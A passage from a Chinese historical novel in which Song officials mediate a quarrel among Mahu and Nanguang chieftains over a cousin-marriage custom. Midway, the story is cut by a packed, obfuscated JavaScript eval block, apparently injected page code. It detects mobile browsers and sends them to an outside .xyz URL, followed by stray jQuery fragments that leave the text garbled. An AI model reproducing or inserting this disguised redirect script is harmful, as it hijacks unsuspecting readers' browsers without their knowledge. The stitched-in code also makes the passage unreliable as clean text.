我正待出声,韦济道:“本官初入西南不久,对当地民俗尚在了解之中。罗头领,不知这‘还骨种’的婚俗,在南广是否盛行?”
罗重道:“韦知州,‘还骨种’在南广已成旧俗,并不盛行。南广虽然小弱,归宋亦晚,但一直以来,深受汉文化影响,逼嫁强娶这种事,我们僚人不大干得出来。”
“罗重!”董腊腾地从座位上站起,“谁教你这么说话的!你什么意思?!”
罗重亦站起身道:“董腊,我罗重说话行事向来板直,‘还骨种’是你们马湖蛮的规矩,南广僚人早就不这么干了!”
董腊大步上前,距罗重不过三尺之遥:“行!既然你们南广獠蛮不尊重我们马湖人的习俗,那往后两地断亲,民间不许再通婚了!”
罗重不甘示弱,小步挺进,几欲与董腊贴面:“亲连亲,打断骨头连着筋!难不成马湖七族二十八姓,只凭你董腊一个人,一张嘴说了算?”
宋宁海忙不迭起身,快步走到剑拔弩张的二人身边:“二位大首领息怒。僰道三夷,本是一体;马湖南广,唇齿相依。和为贵,和为贵。”
韦济走向三人,伸手将罗重拉回:“宋知州所言甚是。二位少安毋躁,且坐下喝口茶,兼听则明,偏信则暗。让我们来听一听其他头人的意见可好?”
“就是,就是!”宋宁海扯了扯董腊的衣袖,小声道,“董大首领,来都来了,客随主便。”
董腊闷哼一声,回到坐席。
他身旁一名年长的头人站出来道:“二位大人、两部头领,我们马湖山高路险,通行不易、通商不易、通婚更为不易。
“北方嘉州历来是汉人聚居地;西南方向是乌披蛮;言语相通、习俗相近的就只有东南边的南广、石门蕃和西北边的虚恨部。
“可是前些年石门蕃与虚恨二部陆续投附大理,马湖的妹崽、伢崽嫁不出去,娶不进来,恪守‘还骨种’,也是没法子的事。难不成要我们——眼睁睁地瞅着住在大山里的族亲绝户灭种吗?”
马湖头人纷纷表示赞同:“阿布头领说得没错!”
“我们这么做,也是为了峒里的父老乡亲。”
“是这个理!用那……那汉人的话怎么说来着?”
“牺牲小我,顾全大局。”
“对对对!大局,大局为重!”
好一个食人的“大局”。看着对面的同族,我心头涌起的悲凉远超愤怒。
“阿布头领所言,的确是我们驯州现状。”宋宁海起立言道,“身为知州,本官亦有责任。
“不过,本官这里有个好消息要告知诸位,上月本官到府衙公务,戎州长官说——朝廷有令,年前要在西南边境的羁縻州推行屯田,届时还望各大头领劝说山里的族亲多多下山耕种。
“男耕女织,聚居一处,这通行的难题,自然便化解了。通婚还会远吗?”
宋宁海话音未落,马湖一名头人倏地跃起,气势汹汹接口:“常言道,‘靠山吃山,靠水吃水。’
“我们峒民下山屯田,岂不是要交租?再说了,峒民常年以打猎采药为生,又不会耕稼纺织!
“让我们下山种地,这不是变着法子坑人吗?宋大人,你这算哪门子的好消息?!”
宋宁海神色尴尬:“耕织没有人天生就会。这不会,可以学嘛。”
“你说得轻巧!还不是想诓骗我们下山,为你们汉人卖命!”马湖几个年轻头领冲上前去,将宋宁海团团围住,齐声道,“我们不学!我们才不上当!”
宋宁海一脸无奈,摆手道:“好好好,不学就不学。”
“正好今天七族都在,宋知州你要保证,绝不可逼峒民下山!”
“鼓吹利诱也不行!”
我暗觉失笑:羁縻州官手上一无钱粮、二无兵权,最可用之处就是被这些土著豪族当成出气筒。若说威逼利诱,两者倒一倒,或许更为接近事实。
“本官保证,峒民自愿,绝无逼诱之举。”
几名头人满意地散开了,宋宁海悻悻落坐,丢给韦济一个“你自行体会”的眼神。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16210345|181191||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
韦济神色如常,拿起纹几上的书册,站出来道:“诸位且听本官一言。
“近几日,本官走访南广、马湖两部峒民,对于‘还骨种’的婚俗,也作了一些了解。
“本官发现从此婚俗的峒民,居深山者远比接近山脚的峒户要多。究其差异,显然与路况密切相关,通行越难,与外界接触越少,长此以往,难免亲戚互婚。”
他掀开手中书册,接而言道,“本官又调阅驯、悦两州州衙纪事。仅去年一年,因‘还骨种’婚俗引发纠纷,进而导致姑舅家、村落间的械斗,竟有四十五起之多。
“这其中,又有六人身亡,二百一十七人受伤。他们皆为大宋子民,更是在座诸位血脉相连的亲人。
“本官此次走访,还有一个发现,‘还骨种’配婚绵延的后嗣,畸病者、寿夭者,十有一二;更有甚者,虎头山大断崖的一户峒民,家中连续四代‘还骨种’配婚,所育子女多病夭,已成绝嗣之象。
“各位头领,肩负本族承祀繁衍的重任,当知‘还骨种’婚俗积弊已久,若要族群兴旺,惟有移风易俗,才是解决之道啊!”
各部头人大多听得懂汉话,个别没听明白的,彼此间又用土话解释了一会。
我观众人神色,震惊者有之,不屑者有之,更多的则是将信将疑。
忽然,阿布起身上前,向韦济行单拳礼。
韦济放下书册,执手道:“阿布头领,请指教。”
阿布道:“韦大人,老阿布钦佩你这样肯做事的人。不过,姑舅相婚的危害,当真有你说的那么严重吗?
“三十年前,大断崖阿木家的伢崽曾在山神祭上打翻盛有蒟酱的铜斗。我们峒人都以为阿木家是触怒了神灵,才会遭此灾祸。”
唔,假山后面那位,似乎该上桌了……
韦济温言道:“阿布头领坐下稍候。本官有一位朋友,曾在太医局任职多年,今日我亦请了他来,让他代我细细与你们解释。”说着,朝一旁的时雨挥手,示意他去将刘玉请来。